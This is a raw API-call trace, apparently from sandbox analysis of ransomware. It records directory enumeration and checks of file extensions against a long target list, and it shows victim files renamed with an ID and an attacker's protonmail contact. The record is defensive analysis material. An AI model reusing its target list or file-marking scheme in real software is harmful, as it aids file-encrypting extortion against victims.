	[0159.344] lstrlenW (lpString=".pot") returned 4
	[0159.344] lstrcmpiW (lpString1=".pot", lpString2="].Z9") returned -1
	[0159.344] lstrlenW (lpString=".potm") returned 5
	[0159.344] lstrcmpiW (lpString1=".potm", lpString2="m].Z9") returned -1
	[0159.344] lstrlenW (lpString=".potx") returned 5
	[0159.344] lstrcmpiW (lpString1=".potx", lpString2="m].Z9") returned -1
	[0159.344] lstrlenW (lpString=".ppa") returned 4
	[0159.344] lstrcmpiW (lpString1=".ppa", lpString2="].Z9") returned -1
	[0159.344] lstrlenW (lpString=".ppam") returned 5
	[0159.344] lstrcmpiW (lpString1=".ppam", lpString2="m].Z9") returned -1
	[0159.344] lstrlenW (lpString=".ppm") returned 4
	[0159.344] lstrcmpiW (lpString1=".ppm", lpString2="].Z9") returned -1
	[0159.344] lstrlenW (lpString=".pps") returned 4
	[0159.344] lstrcmpiW (lpString1=".pps", lpString2="].Z9") returned -1
	[0159.344] lstrlenW (lpString=".ppsm") returned 5
	[0159.344] lstrcmpiW (lpString1=".ppsm", lpString2="m].Z9") returned -1
	[0159.344] lstrlenW (lpString=".ppt") returned 4
	[0159.344] lstrcmpiW (lpString1=".ppt", lpString2="].Z9") returned -1
	[0159.344] lstrlenW (lpString=".pptm") returned 5
	[0159.344] lstrcmpiW (lpString1=".pptm", lpString2="m].Z9") returned -1
	[0159.344] lstrlenW (lpString=".pptx") returned 5
	[0159.344] lstrcmpiW (lpString1=".pptx", lpString2="m].Z9") returned -1
	[0159.344] lstrlenW (lpString=".prn") returned 4
	[0159.344] lstrcmpiW (lpString1=".prn", lpString2="].Z9") returned -1
	[0159.345] lstrlenW (lpString=".ps") returned 3
	[0159.345] lstrcmpiW (lpString1=".ps", lpString2=".Z9") returned -1
	[0159.345] lstrlenW (lpString=".psb") returned 4
	[0159.345] lstrcmpiW (lpString1=".psb", lpString2="].Z9") returned -1
	[0159.345] lstrlenW (lpString=".psd") returned 4
	[0159.345] lstrcmpiW (lpString1=".psd", lpString2="].Z9") returned -1
	[0159.345] lstrlenW (lpString=".pst") returned 4
	[0159.345] lstrcmpiW (lpString1=".pst", lpString2="].Z9") returned -1
	[0159.345] lstrlenW (lpString=".ptx") returned 4
	[0159.345] lstrcmpiW (lpString1=".ptx", lpString2="].Z9") returned -1
	[0159.345] lstrlenW (lpString=".pub") returned 4
	[0159.345] lstrcmpiW (lpString1=".pub", lpString2="].Z9") returned -1
	[0159.345] lstrlenW (lpString=".pwm") returned 4
	[0159.345] lstrcmpiW (lpString1=".pwm", lpString2="].Z9") returned -1
	[0159.345] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34d81ed4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34d81ed4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34df4673, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="OOBE_2~1.Z9")) returned 1
	[0159.345] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a60d75, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34a60d75, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34a8d0be, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PARTNE~1.Z9")) returned 1
	[0159.345] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a60d75, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34a60d75, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34a8d0be, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PARTNE~1.Z9")) returned 0
	[0159.345] FindClose (in: hFindFile=0x76e8e8 | out: hFindFile=0x76e8e8) returned 1
	[0159.346] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0159.346] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x34e66cb5, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34e66cb5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0159.346] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0159.346] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x34e66cb5, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34e66cb5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e8e8
	[0159.350] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x34e66cb5, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34e66cb5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.350] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x354bb5ba, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x354bb5ba, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x355e7069, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="GETCUR~2.Z9")) returned 1
	[0159.350] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34e4479a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34e4479a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34e66cb5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="GETCUR~1.Z9")) returned 1
	[0159.350] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x355286d0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x355286d0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35aabe98, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PARTNE~1.Z9")) returned 1
	[0159.350] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x358bbf2c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x358bbf2c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x358e214e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PREOOB~1.Z9")) returned 1
	[0159.350] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d0e283, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35d0e283, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3600916a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPC~1.Z9")) returned 1
	[0159.350] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d0e283, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35d0e283, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3600916a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPC~1.Z9")) returned 0
	[0159.350] FindClose (in: hFindFile=0x76e8e8 | out: hFindFile=0x76e8e8) returned 1
	[0159.351] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0159.351] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x34e66cb5, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34e66cb5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0159.351] FindClose (in: hFindFile=0x76ec28 | out: hFindFile=0x76ec28) returned 1
	[0159.351] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0159.351] FindNextFileW (in: hFindFile=0x76ec68, lpFindFileData=0x2fafcf8 | out: lpFindFileData=0x2fafcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77b70000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0159.351] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38a0958
	[0159.351] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x76eae8
	[0159.352] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0159.352] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x34e8cec5, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34e8cec5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0159.352] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0159.352] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x16, ftLastAccessTime.dwLowDateTime=0x2, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="ꓠv\x08")) returned 0xffffffff
	[0159.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0159.353] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x630371ce, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x630371ce, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0159.353] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0159.353] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x630371ce, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x630371ce, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ed28
	[0159.353] FindNextFileW (in: hFindFile=0x76ed28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x630371ce, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x630371ce, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.353] FindNextFileW (in: hFindFile=0x76ed28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x630371ce, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x630371ce, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x630371ce, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0159.353] FindNextFileW (in: hFindFile=0x76ed28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x34af96d2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34af96d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34af96d2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DESKTO~1.Z9")) returned 1
	[0159.353] lstrlenW (lpString="desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9") returned 53
	[0159.353] lstrlenW (lpString=".1cd") returned 4
	[0159.353] lstrcmpiW (lpString1=".1cd", lpString2="].Z9") returned -1
	[0159.353] lstrlenW (lpString=".3ds") returned 4
	[0159.353] lstrcmpiW (lpString1=".3ds", lpString2="].Z9") returned -1
	[0159.353] lstrlenW (lpString=".3fr") returned 4
	[0159.353] lstrcmpiW (lpString1=".3fr", lpString2="].Z9") returned -1
	[0159.353] lstrlenW (lpString=".3g2") returned 4
	[0159.353] lstrcmpiW (lpString1=".3g2", lpString2="].Z9") returned -1
	[0159.353] lstrlenW (lpString=".3gp") returned 4
	[0159.353] lstrcmpiW (lpString1=".3gp", lpString2="].Z9") returned -1
	[0159.353] lstrlenW (lpString=".7z") returned 3
	[0159.354] lstrcmpiW (lpString1=".7z", lpString2=".Z9") returned -1
	[0159.354] lstrlenW (lpString=".accda") returned 6
	[0159.354] lstrcmpiW (lpString1=".accda", lpString2="om].Z9") returned -1
	[0159.354] lstrlenW (lpString=".accdb") returned 6
	[0159.354] lstrcmpiW (lpString1=".accdb", lpString2="om].Z9") returned -1
	[0159.354] lstrlenW (lpString=".accdc") returned 6
	[0159.354] lstrcmpiW (lpString1=".accdc", lpString2="om].Z9") returned -1
	[0159.354] lstrlenW (lpString=".accde") returned 6
	[0159.354] lstrcmpiW (lpString1=".accde", lpString2="om].Z9") returned -1
	[0159.354] lstrlenW (lpString=".accdt") returned 6
	[0159.354] lstrcmpiW (lpString1=".accdt", lpString2="om].Z9") returned -1
	[0159.354] lstrlenW (lpString=".accdw") returned 6
	[0159.354] lstrcmpiW (lpString1=".accdw", lpString2="om].Z9") returned -1
	[0159.354] lstrlenW (lpString=".adb") returned 4
	[0159.354] lstrcmpiW (lpString1=".adb", lpString2="].Z9") returned -1
	[0159.354] lstrlenW (lpString=".adp") returned 4
	[0159.354] lstrcmpiW (lpString1=".adp", lpString2="].Z9") returned -1
	[0159.354] lstrlenW (lpString=".ai") returned 3
	[0159.354] lstrcmpiW (lpString1=".ai", lpString2=".Z9") returned -1
	[0159.354] lstrlenW (lpString=".ai3") returned 4
	[0159.354] lstrcmpiW (lpString1=".ai3", lpString2="].Z9") returned -1
	[0159.354] lstrlenW (lpString=".ai4") returned 4
	[0159.354] lstrcmpiW (lpString1=".ai4", lpString2="].Z9") returned -1
	[0159.354] lstrlenW (lpString=".ai5") returned 4
	[0159.354] lstrcmpiW (lpString1=".ai5", lpString2="].Z9") returned -1
	[0159.354] lstrlenW (lpString=".ai6") returned 4
	[0159.354] lstrcmpiW (lpString1=".ai6", lpString2="].Z9") returned -1
	[0159.354] lstrlenW (lpString=".ai7") returned 4
	[0159.354] lstrcmpiW (lpString1=".ai7", lpString2="].Z9") returned -1
	[0159.354] lstrlenW (lpString=".ai8") returned 4
	[0159.354] lstrcmpiW (lpString1=".ai8", lpString2="].Z9") returned -1
	[0159.354] lstrlenW (lpString=".anim") returned 5
	[0159.354] lstrcmpiW (lpString1=".anim", lpString2="m].Z9") returned -1
	[0159.354] lstrlenW (lpString=".arw") returned 4
	[0159.354] lstrcmpiW (lpString1=".arw", lpString2="].Z9") returned -1
	[0159.354] lstrlenW (lpString=".as") returned 3
	[0159.354] lstrcmpiW (lpString1=".as", lpString2=".Z9") returned -1
	[0159.354] lstrlenW (lpString=".asa") returned 4
	[0159.355] lstrcmpiW (lpString1=".asa", lpString2="].Z9") returned -1
	[0159.355] lstrlenW (lpString=".asc") returned 4
	[0159.355] lstrcmpiW (lpString1=".asc", lpString2="].Z9") returned -1
	[0159.355] lstrlenW (lpString=".ascx") returned 5
	[0159.355] lstrcmpiW (lpString1=".ascx", lpString2="m].Z9") returned -1
	[0159.355] lstrlenW (lpString=".asm") returned 4
	[0159.355] lstrcmpiW (lpString1=".asm", lpString2="].Z9") returned -1
	[0159.355] lstrlenW (lpString=".asmx") returned 5
	[0159.355] lstrcmpiW (lpString1=".asmx", lpString2="m].Z9") returned -1
	[0159.355] lstrlenW (lpString=".asp") returned 4
	[0159.355] lstrcmpiW (lpString1=".asp", lpString2="].Z9") returned -1
	[0159.355] lstrlenW (lpString=".aspx") returned 5
	[0159.355] lstrcmpiW (lpString1=".aspx", lpString2="m].Z9") returned -1
	[0159.355] lstrlenW (lpString=".asr") returned 4
	[0159.355] lstrcmpiW (lpString1=".asr", lpString2="].Z9") returned -1
	[0159.355] lstrlenW (lpString=".asx") returned 4
	[0159.355] lstrcmpiW (lpString1=".asx", lpString2="].Z9") returned -1
	[0159.355] lstrlenW (lpString=".avi") returned 4
	[0159.355] lstrcmpiW (lpString1=".avi", lpString2="].Z9") returned -1
	[0159.355] lstrlenW (lpString=".avs") returned 4
	[0159.355] lstrcmpiW (lpString1=".avs", lpString2="].Z9") returned -1
	[0159.355] lstrlenW (lpString=".backup") returned 7
	[0159.355] lstrcmpiW (lpString1=".backup", lpString2="com].Z9") returned -1
	[0159.355] lstrlenW (lpString=".bak") returned 4
	[0159.355] lstrcmpiW (lpString1=".bak", lpString2="].Z9") returned -1
	[0159.355] lstrlenW (lpString=".bay") returned 4
	[0159.355] lstrcmpiW (lpString1=".bay", lpString2="].Z9") returned -1
	[0159.355] lstrlenW (lpString=".bd") returned 3
	[0159.355] lstrcmpiW (lpString1=".bd", lpString2=".Z9") returned -1
	[0159.355] lstrlenW (lpString=".bin") returned 4
	[0159.355] lstrcmpiW (lpString1=".bin", lpString2="].Z9") returned -1
	[0159.355] lstrlenW (lpString=".bmp") returned 4
	[0159.355] lstrcmpiW (lpString1=".bmp", lpString2="].Z9") returned -1
	[0159.355] lstrlenW (lpString=".bz2") returned 4
	[0159.355] lstrcmpiW (lpString1=".bz2", lpString2="].Z9") returned -1
	[0159.355] lstrlenW (lpString=".c") returned 2
	[0159.355] lstrcmpiW (lpString1=".c", lpString2="Z9") returned -1
	[0159.355] lstrlenW (lpString=".cdr") returned 4
	[0159.356] lstrcmpiW (lpString1=".cdr", lpString2="].Z9") returned -1
	[0159.356] lstrlenW (lpString=".cer") returned 4
	[0159.356] lstrcmpiW (lpString1=".cer", lpString2="].Z9") returned -1
	[0159.356] lstrlenW (lpString=".cf") returned 3
	[0159.356] lstrcmpiW (lpString1=".cf", lpString2=".Z9") returned -1
	[0159.356] lstrlenW (lpString=".cfc") returned 4
	[0159.356] lstrcmpiW (lpString1=".cfc", lpString2="].Z9") returned -1
	[0159.356] lstrlenW (lpString=".cfm") returned 4
	[0159.356] lstrcmpiW (lpString1=".cfm", lpString2="].Z9") returned -1
	[0159.356] lstrlenW (lpString=".cfml") returned 5
	[0159.356] lstrcmpiW (lpString1=".cfml", lpString2="m].Z9") returned -1
	[0159.356] lstrlenW (lpString=".cfu") returned 4
	[0159.356] lstrcmpiW (lpString1=".cfu", lpString2="].Z9") returned -1
	[0159.356] lstrlenW (lpString=".chm") returned 4
	[0159.356] lstrcmpiW (lpString1=".chm", lpString2="].Z9") returned -1
	[0159.356] lstrlenW (lpString=".cin") returned 4
	[0159.356] lstrcmpiW (lpString1=".cin", lpString2="].Z9") returned -1
	[0159.356] lstrlenW (lpString=".class") returned 6
	[0159.356] lstrcmpiW (lpString1=".class", lpString2="om].Z9") returned -1
	[0159.356] lstrlenW (lpString=".clx") returned 4
	[0159.356] lstrcmpiW (lpString1=".clx", lpString2="].Z9") returned -1
	[0159.356] lstrlenW (lpString=".config") returned 7
	[0159.356] lstrcmpiW (lpString1=".config", lpString2="com].Z9") returned -1
	[0159.356] lstrlenW (lpString=".cpp") returned 4
	[0159.356] lstrcmpiW (lpString1=".cpp", lpString2="].Z9") returned -1
	[0159.356] lstrlenW (lpString=".cr2") returned 4
	[0159.356] lstrcmpiW (lpString1=".cr2", lpString2="].Z9") returned -1
	[0159.356] lstrlenW (lpString=".crt") returned 4
	[0159.356] lstrcmpiW (lpString1=".crt", lpString2="].Z9") returned -1
	[0159.356] lstrlenW (lpString=".crw") returned 4
	[0159.356] lstrcmpiW (lpString1=".crw", lpString2="].Z9") returned -1
	[0159.356] lstrlenW (lpString=".cs") returned 3
	[0159.356] lstrcmpiW (lpString1=".cs", lpString2=".Z9") returned -1
	[0159.356] lstrlenW (lpString=".css") returned 4
	[0159.356] lstrcmpiW (lpString1=".css", lpString2="].Z9") returned -1
	[0159.356] lstrlenW (lpString=".csv") returned 4
	[0159.356] lstrcmpiW (lpString1=".csv", lpString2="].Z9") returned -1
	[0159.356] lstrlenW (lpString=".cub") returned 4
	[0159.357] lstrcmpiW (lpString1=".cub", lpString2="].Z9") returned -1
	[0159.357] lstrlenW (lpString=".dae") returned 4
	[0159.357] lstrcmpiW (lpString1=".dae", lpString2="].Z9") returned -1
	[0159.357] lstrlenW (lpString=".dat") returned 4
	[0159.357] lstrcmpiW (lpString1=".dat", lpString2="].Z9") returned -1
	[0159.357] lstrlenW (lpString=".db") returned 3
	[0159.357] lstrcmpiW (lpString1=".db", lpString2=".Z9") returned -1
	[0159.357] lstrlenW (lpString=".dbf") returned 4
	[0159.357] lstrcmpiW (lpString1=".dbf", lpString2="].Z9") returned -1
	[0159.357] lstrlenW (lpString=".dbx") returned 4
	[0159.357] lstrcmpiW (lpString1=".dbx", lpString2="].Z9") returned -1
	[0159.357] lstrlenW (lpString=".dc3") returned 4
	[0159.357] lstrcmpiW (lpString1=".dc3", lpString2="].Z9") returned -1
	[0159.357] lstrlenW (lpString=".dcm") returned 4
	[0159.357] lstrcmpiW (lpString1=".dcm", lpString2="].Z9") returned -1
	[0159.357] lstrlenW (lpString=".dcr") returned 4
	[0159.357] lstrcmpiW (lpString1=".dcr", lpString2="].Z9") returned -1
	[0159.357] lstrlenW (lpString=".der") returned 4
	[0159.357] lstrcmpiW (lpString1=".der", lpString2="].Z9") returned -1
	[0159.357] lstrlenW (lpString=".dib") returned 4
	[0159.357] lstrcmpiW (lpString1=".dib", lpString2="].Z9") returned -1
	[0159.357] lstrlenW (lpString=".dic") returned 4
	[0159.357] lstrcmpiW (lpString1=".dic", lpString2="].Z9") returned -1
	[0159.357] lstrlenW (lpString=".dif") returned 4
	[0159.357] lstrcmpiW (lpString1=".dif", lpString2="].Z9") returned -1
	[0159.357] lstrlenW (lpString=".divx") returned 5
	[0159.358] lstrcmpiW (lpString1=".divx", lpString2="m].Z9") returned -1
	[0159.358] lstrlenW (lpString=".djvu") returned 5
	[0159.358] lstrcmpiW (lpString1=".djvu", lpString2="m].Z9") returned -1
	[0159.358] lstrlenW (lpString=".dng") returned 4
	[0159.358] lstrcmpiW (lpString1=".dng", lpString2="].Z9") returned -1
